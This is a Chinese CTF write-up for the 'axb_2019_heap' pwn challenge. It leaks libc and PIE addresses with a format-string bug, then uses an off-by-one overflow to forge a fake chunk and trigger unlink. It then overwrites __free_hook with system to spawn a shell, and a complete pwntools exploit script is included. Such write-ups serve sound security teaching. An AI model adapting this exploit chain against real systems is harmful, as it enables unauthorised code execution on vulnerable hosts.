记一道Unlink
unlink
# axb_2019_heap
# 初探
保护全开,特别哈人
接下来打开 IDA 康康,可以发现开始有一个格式化字符串漏洞,那么我们可以用格式化字符串泄露栈上的值,那么我们最好是可以通过这个泄露出开 PIE 后的基地址和 libc 的基地址,这样就方便后面的操作
输入函数存在可以溢出一个字节存在 off-by-one~~,既然存在 off-by-one 那么理应是有几种利用方法的,但我觉得 Unlink 更加 OK(~~
# 泄露地址
我们在利用格式化字符串进行泄露时,我们可以动态调试一下,去看看栈上有哪些可以利用的地方,并且格式化字符串也并不是一次只能泄露出一个地址,我们可以贪心地把我们需要的栈上变量都泄露出来
这里我们寻找栈上的变量直接发现第 10 个和第 14 个就是我们需要泄露的数据,(当然这里也可以找别的,只要能算出来就行…),又由于 64 位传参,前 6 个参数不在栈上所以是 10 + 6-1 和 14 + 6-1 为什么 - 1 懂的都懂
%15$p,%19$p
泄露之后我们就可以把开 PIE 后的基地址算出来,最后把指针数组的地址算出来就可以进行下一步利用了;
# Unlink
-
我们先申请 4 个堆块,既然要造成 Unlink[1],那么 free 的那个大小应该至少属于 unsortedbin,大小大于 0x88 就可以,这里我们申请 0x98 大小的堆块,刚好就可以溢出到下一个堆块的 size 位
-
改写一个 unsortedbin 之前的堆块,伪造出fake_chunk的结构(在一个正常堆块里伪造出一个 bin 结构)
提一嘴为什么是 ptr-0x8,因为我首先 malloc 了一个 chunk 没用它,其后我们要找一个指针指向我们的第二个 chunk 的数据段,当然就应该找数组存放的第二个指针了,用这个指针构造出一前一后两个 chunk 和fake_chunk相互 link 的假象,那么再释放第三个 chunk 时就会触发 Unlink,让其和前一个fake_chunk合并,合并的时候fake_chunk和数组 chunk 解连接,让数组的一个指针指向自己,完成 unlink
0xA1 | |
---|---|
pre_size=0 | size=0x80 |
fd=ptr-0x8 | bk=ptr |
… | … |
0x80 | 0xa0 |
- 删除第三个堆块,让触发 unlink,这里数组的第二个指针指向了数组地址 - 0x8 位置
# Getshell
- 修改free_hook成为system函数的地址,
这题保护全开只能改free_hook,不然还可以改 atoi 函数 - 删除第四个块,执行 system ("/bin/sh") 成功 getshell
# exp
#coding=utf-8
from pwn import *
libc = ELF("./libc/libc-2.23.so")
#p = process("./axb_2019_heap")
context.log_level = "debug"
p = remote("node3.buuoj.cn",26984)
def dbg():
gdb.attach(p)
pause()
def choice(num):
p.sendlineafter(":",str(num))
def add(id,size,text="aaaa\n"):
choice(1)
p.sendlineafter(":",str(id))
p.sendlineafter(":",str(size))
p.sendafter(":",text)
def delete(id):
choice(2)
p.sendlineafter(":",str(id))
def edit(id,text="aaaa\n"):
choice(4)
p.sendlineafter(":",str(id))
p.sendafter(":",text)
#gdb.attach(p)
#格式化字符串漏洞利用
p.sendlineafter("Enter your name: ","%15$p,%19$p")
p.recvuntil("Hello, ")
libc_start_main = eval(p.recv(len("0x7fcd46b5f830")))-240
libc_base = libc_start_main - libc.symbols["__libc_start_main"]
log.warn("libc_start_main: "+ str(hex(libc_base)))
p.recvuntil(",")
base = eval(p.recv(len("0x7fcd46b5f830")))-0x116a
log.warn("base: "+ str(hex(base)))
note_addr = arry = 0x202060 + base
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
log.warn("note_addr: "+ str(hex(note_addr)))
add(0,0x90)
add(1,0x98)
add(2,0x90)
add(4,0x88,'/bin/sh\x00\n')
#unlink
payload = p64(0)+ p64(0x80) +p64(note_addr-0x8) + p64(note_addr) +"\x00"*0x70 + p64(0x90) + "\xa0"
edit(1,payload)
delete(2)
#getshell
payload = p64(0) + p64(free_hook) +p64(8)
edit(1,payload+"\n")
#dbg()
edit(0 , p64(system_addr)+"\n" )
delete(4)
p.interactive()
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。